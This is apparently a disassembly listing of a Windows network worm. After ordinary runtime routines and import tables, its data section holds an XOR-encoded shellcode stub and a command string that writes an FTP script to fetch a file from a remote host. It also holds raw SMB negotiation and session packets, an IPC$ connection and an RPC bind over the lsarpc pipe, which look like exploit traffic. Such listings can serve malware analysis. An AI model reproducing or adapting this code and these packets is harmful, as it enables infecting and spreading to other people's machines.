[ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_404A80 cmp edi, eax jb loc_404BF8 loc_404A80: ; CODE XREF: sub_404A60+16j test edi, 3 jnz short loc_404A9C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- loc_404A9C: ; CODE XREF: sub_404A60+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_404AB4 and eax, 3 add ecx, eax jmp dword ptr loc_404ABC+4[eax*4] ; --------------------------------------------------------------------------- loc_404AB4: ; CODE XREF: sub_404A60+46j jmp dword ptr loc_404BB8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_404ABC: ; CODE XREF: sub_404A60+31j ; sub_404A60+8Ej ... jmp off_404B3C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404AD0 dd offset loc_404AFC dd offset loc_404B20 ; --------------------------------------------------------------------------- loc_404AD0: ; DATA XREF: sub_404A60+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404AFC: ; DATA XREF: sub_404A60+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404B20: ; DATA XREF: sub_404A60+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_404B3C dd offset loc_404B9F ; DATA XREF: sub_404A60:loc_404ABCr dd offset loc_404B8C dd offset loc_404B84 dd offset loc_404B7C dd offset loc_404B74 dd offset loc_404B6C dd offset loc_404B64 dd offset loc_404B5C ; --------------------------------------------------------------------------- loc_404B5C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_404B64: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_404B6C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_404B74: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_404B7C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_404B84: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_404B8C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404B9F: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60:off_404B3Co jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_404BA8 dd offset loc_404BB8 ; DATA XREF: sub_404A60+35r ; sub_404A60+92r ... dd offset loc_404BC0 dd offset loc_404BCC dd offset loc_404BE0 ; --------------------------------------------------------------------------- loc_404BB8: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404BC0: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404BCC: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404BE0: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404BF8: ; CODE XREF: sub_404A60+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_404C2C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404C20: ; CODE XREF: sub_404A60+1B1j ; sub_404A60+208j ... neg ecx jmp off_404CF0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_404C2C: ; CODE XREF: sub_404A60+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_404C44 and eax, 3 sub ecx, eax jmp dword ptr loc_404C44+4[eax*4] ; --------------------------------------------------------------------------- loc_404C44: ; CODE XREF: sub_404A60+1D6j ; DATA XREF: sub_404A60+1DDr jmp off_404D40[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404C58 dd offset loc_404C78 dd offset loc_404CA0 ; --------------------------------------------------------------------------- loc_404C58: ; DATA XREF: sub_404A60+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404C78: ; DATA XREF: sub_404A60+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404CA0: ; DATA XREF: sub_404A60+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404CF4 dd offset loc_404CFC dd offset loc_404D04 dd offset loc_404D0C dd offset loc_404D14 dd offset loc_404D1C dd offset loc_404D24 off_404CF0 dd offset loc_404D37 ; DATA XREF: sub_404A60+1C2r ; --------------------------------------------------------------------------- loc_404CF4: ; DATA XREF: sub_404A60+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_404CFC: ; DATA XREF: sub_404A60+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_404D04: ; DATA XREF: sub_404A60+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_404D0C: ; DATA XREF: sub_404A60+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_404D14: ; DATA XREF: sub_404A60+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_404D1C: ; DATA XREF: sub_404A60+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_404D24: ; DATA XREF: sub_404A60+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404D37: ; CODE XREF: sub_404A60+1C2j ; DATA XREF: sub_404A60:off_404CF0o jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 10h off_404D40 dd offset loc_404D50 ; DATA XREF: sub_404A60+1B7r ; sub_404A60:loc_404C44r ... dd offset loc_404D58 dd offset loc_404D68 dd offset loc_404D7C ; --------------------------------------------------------------------------- loc_404D50: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404D58: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404D68: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404D7C: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_404A60 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404D96 proc near ; CODE XREF: sub_401B1B+33p jmp dword_405148 sub_404D96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404D9C proc near ; CODE XREF: sub_401B1B+24p jmp dword_405140 sub_404D9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404DA2 proc near ; CODE XREF: sub_401B1B+7p jmp dword_405144 sub_404DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404DA8 proc near ; CODE XREF: sub_4034B0+13p jmp dword_40508C sub_404DA8 endp ; --------------------------------------------------------------------------- align 10h dd 94h dup(0) dword_405000 dd 0 ; sub_40219B+C8r dword_405004 dd 0 dword_405008 dd 0 dword_40500C dd 0 ; sub_40219B+97r dword_405010 dd 0 align 8 dword_405018 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40126C+8Fr ... dword_40501C dd 7C834E64h ; resolved to->KERNEL32._lclose ; sub_401B59+2ABr dword_405020 dd 7C838AE7h ; resolved to->KERNEL32._lwritedword_405024 dd 7C835406h ; resolved to->KERNEL32._llseekdword_405028 dd 7C8365A5h ; resolved to->KERNEL32._lcreatdword_40502C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401583+4D0r ... dword_405030 dd 7C8353CEh ; resolved to->KERNEL32._lreaddword_405034 dd 7C85E830h ; resolved to->KERNEL32._lopendword_405038 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401F4B+14Dr ... dword_40503C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_4020D9:loc_40213Ar dword_405040 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_405044 dd 7C80C108h ; resolved to->KERNEL32.SetThreadPrioritydword_405048 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThreaddword_40504C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_405050 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_405054 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_405058 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_40505C dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_405060 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_405064 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeapdword_405068 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_404568+51r dword_40506C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_403E1A+Dr ... dword_405070 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_405074 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_405078 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_403BD6+14r dword_40507C dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_40380C+12Dr dword_405080 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_40380C+8Dr dword_405084 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40380C+11Br ... dword_405088 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40508C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_405090 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_403E83+2C4r ... dword_405094 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_405098 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_40509C dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4050A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_4032C7+166r dword_4050A4 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_4036B9+143r dword_4050A8 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4050AC dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4047EE+14Dr ... dword_4050B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4050B4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4047EE+A7r dword_4050B8 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4050BC dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_403195+E1r dword_4050C0 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_4047EE+20Dr dword_4050C4 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4050C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4050CC dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4032C7+59r dword_4050D0 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4050D4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4050D8 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_402C00+91r dword_4050DC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_4050E0 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_4050E4 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4050E8 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA align 10h dword_4050F0 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_40137D+26r ... dword_4050F4 dd 7E45058Ah ; resolved to->USER32.MessageBoxA dd 0 dword_4050FC dd 0 dd 0 dword_405104 dd 0 dword_405108 dd 0 dword_40510C dd 0 dword_405110 dd 0 dword_405114 dd 0 ; sub_401583+2DDr ... dword_405118 dd 0 ; sub_40137D+151r ... dword_40511C dd 0 ; sub_40126C+27r ... dword_405120 dd 0 ; sub_40126C+51r ... dword_405124 dd 0 ; sub_40126C+6Cr ... dword_405128 dd 0 ; sub_40126C+105r ... dword_40512C dd 0 dword_405130 dd 0 dword_405134 dd 0 ; sub_4011D5+7r ... dword_405138 dd 0 ; sub_4011D5+1Er ... align 10h dword_405140 dd 0 dword_405144 dd 0 dword_405148 dd 0 align 10h dword_405150 dd 0FFFFFFFFh, 402A05h, 402A19h, 746E7572h, 20656D69h ; DATA XREF: .text:00402933o dd 6F727265h, 2072h, 534F4C54h, 72652053h, 0D726F72h, 0Ah dd 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_406F34o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4036B9+119o align 4 asc_40540C db 0Ah ; DATA XREF: sub_4036B9+F1o db 0Ah,0 align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4036B9+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4036B9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4036B9+7Do align 4 dword_405448 dd 2 dup(0) ; sub_4047EE+36o dword_405450 dd 0FFFFFFFFh, 403905h, 403909haGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_404663+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_404663+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_404663+24o aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_404663+Do align 4 dword_405498 dd 0FFFFFFFFh, 4048FEh, 404902h, 0FFFFFFFFh, 4049B2h, 4049B6h ; DATA XREF: sub_4047EE+5o dd 562Ch, 2 dup(0) dd 56A6h, 50F0h, 5554h, 2 dup(0) dd 57D0h, 5018h, 5640h, 2 dup(0) dd 57DEh, 5104h, 5638h, 2 dup(0) dd 5806h, 50FCh, 553Ch, 2 dup(0) dd 586Ah, 5000h, 567Ch, 2 dup(0) dd 58ACh, 5140h, 5 dup(0) dd 5812h, 5858h, 5840h, 5832h, 5820h, 0 dd 7C80BE01h, 7C834E64h, 7C838AE7h, 7C835406h, 7C8365A5h dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h dd 7C86136Dh, 7C80C108h, 7C8098EBh, 7C910331h, 7C80E93Fh dd 7C80929Ch, 7C8286EEh, 7C821363h, 7C801D77h, 7C9179FDh dd 7C809A51h, 7C9105D4h, 7C8127A7h, 7C809915h, 7C812E76h dd 7C80A490h, 7C838A0Ch, 7C809BF8h, 7C810D87h, 7C937A40h dd 7C91043Dh, 7C809AE4h, 7C812BB6h, 7C810EF8h, 7C810E51h dd 7C812F39h, 7C80CC97h, 7C80CCA8h, 7C80ADA0h, 7C838DE8h dd 7C812F08h, 7C81CF5Bh, 7C80A0D4h, 7C814AE7h, 7C80B6A1h dd 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C81CDDAh, 7C801E16h dd 7C80DDF5h, 7C862E2Ah, 7C81DF77h, 0 dd 7E41A8ADh, 7E45058Ah, 0 dd 57EAh, 0 dd 80000073h, 80000002h, 8000000Dh, 80000001h, 80000010h dd 80000013h, 80000009h, 80000017h, 80000004h, 80000003h dd 80000039h, 8000000Ch, 8000000Bh, 80000034h, 0 dd 588Ah, 589Ah, 5878h, 0 dd 654D0000h, 67617373h, 786F4265h, 41h, 72707377h, 66746E69h dd 53550041h, 32335245h, 6C6C642Eh, 0 aGetprocaddress db 'GetProcAddress',0 align 4 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 736C0000h, 70637274h dd 4179h, 6C5F0000h, 736F6C63h, 65h, 72776C5Fh, 657469h dd 6C5F0000h, 6565736Ch, 6Bh, 72636C5Fh, 746165h, 6C530000h dd 706565h, 6C5F0000h, 64616572h, 0 a_lopen db '_lopen',0 align 4 dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 aCreatethread db 'CreateThread',0 align 4 aWinexec db 'WinExec',0 dd 65530000h, 72685474h, 50646165h, 726F6972h, 797469h dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 65470000h dd 73614C74h, 72724574h, 726Fh, 72430000h, 65746165h, 6574754Dh dd 4178h, 65470000h, 63695474h, 756F436Bh, 746Eh, 6F430000h dd 69467970h, 41656Ch, 65470000h, 6E695774h, 73776F64h dd 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 53570000h, 32335F32h, 6C6C642Eh, 0 aInternetgetcon db 'InternetGetConnectedState',0 aWininet_dll db 'WININET.dll',0 align 4 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 4F676552h dd 4B6E6570h, 417965h, 62410000h, 5374726Fh, 65747379h dd 7568536Dh, 776F6474h, 416Eh, 65520000h, 74655367h, 756C6156h dd 41784565h, 44410000h, 49504156h, 642E3233h, 6C6Ch, 63490000h dd 6C43706Dh, 4865736Fh, 6C646E61h, 65h, 706D6349h, 646E6553h dd 6F686345h, 0 aIcmpcreatefile db 'IcmpCreateFile',0 align 4 aIphlpapi_dll db 'iphlpapi.dll',0 align 4 aGetmodulehandl db 'GetModuleHandleA',0 align 10h aGetstartupinfo db 'GetStartupInfoA',0 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h dd 69737265h, 6E6Fh, 78450000h, 72507469h, 7365636Fh, 73h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0 aGetcurrentproc db 'GetCurrentProcess',0 align 4 aUnhandledexcep db 'UnhandledExceptionFilter',0 align 4 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 5773676Eh, 0 aSethandlecount db 'SetHandleCount',0 align 10h dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h dd 72437061h, 65746165h, 0 aVirtualfree db 'VirtualFree',0 dd 65480000h, 72467061h, 6565h, 74520000h, 776E556Ch, 646E69h dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h dd 70795467h, 4165h, 65470000h, 72745374h, 54676E69h, 57657079h dd 0 aGetcpinfo db 'GetCPInfo',0 align 4 aGetacp db 'GetACP',0 align 4 dd 65470000h, 4D454F74h, 5043h, 65480000h, 6C417061h, 636F6Ch dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0 aLcmapstringw db 'LCMapStringW',0 align 4 dd 143h dup(0) dword_406000 dd 0 dword_406004 dd 0 dword_406008 dd 0 dd offset sub_403D5B dword_406010 dd 0 dword_406014 dd 0 dword_406018 dd 0 dword_40601C dd 0 dword_406020 dd 4 dup(0) off_406030 dd offset aEchoOffEchoOpe ; DATA XREF: sub_40126C+AAr ; "echo off&echo open %s 1023>>cmd.ftp&ech"... ; --------------------------------------------------------------------------- loc_406034: ; DATA XREF: sub_401583+132o ; sub_401583+1ABo jmp short loc_406046 ; =============== S U B R O U T I N E ======================================= sub_406036 proc near ; CODE XREF: sub_406036:loc_406046p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_40603E: ; CODE XREF: sub_406036+Cj xor byte ptr [edx+ecx], 99h loop loc_40603E jmp short loc_40604B ; --------------------------------------------------------------------------- loc_406046: ; CODE XREF: .text:loc_406034j call sub_406036 loc_40604B: ; CODE XREF: sub_406036+Ej jo short near ptr dword_405AF4+4EEh cwde cdq cdq retn sub_406036 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_4060E4 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_401583+102o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4061CC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40137D+15Do ; sub_401583+2BDo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_406258 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40137D+188o ; sub_401583+2ECo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_406304 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40137D+1ADo ; sub_401583+315o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4063E4 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40137D+53o ; sub_401583+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_40137D+85o ; sub_401583+89o unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_406448 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+369o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4064B4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+392o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_406558 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+3C8o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h 